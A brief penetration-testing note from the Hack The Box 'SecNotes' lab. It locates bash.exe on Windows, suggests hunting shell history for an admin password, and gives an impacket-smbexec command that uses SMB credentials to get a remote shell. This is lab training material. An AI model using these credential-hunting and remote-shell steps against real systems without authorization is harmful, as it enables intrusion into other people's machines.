where /R c:\Windows bash.exe
Search for admin password on the system, for example, using the history command. If we get a SMB password, we can get a shell with impacket-smbexec:
impacket-smbexec '<username>:<password>'@<target_ip>
Lab: Hack The Box - SecNotes
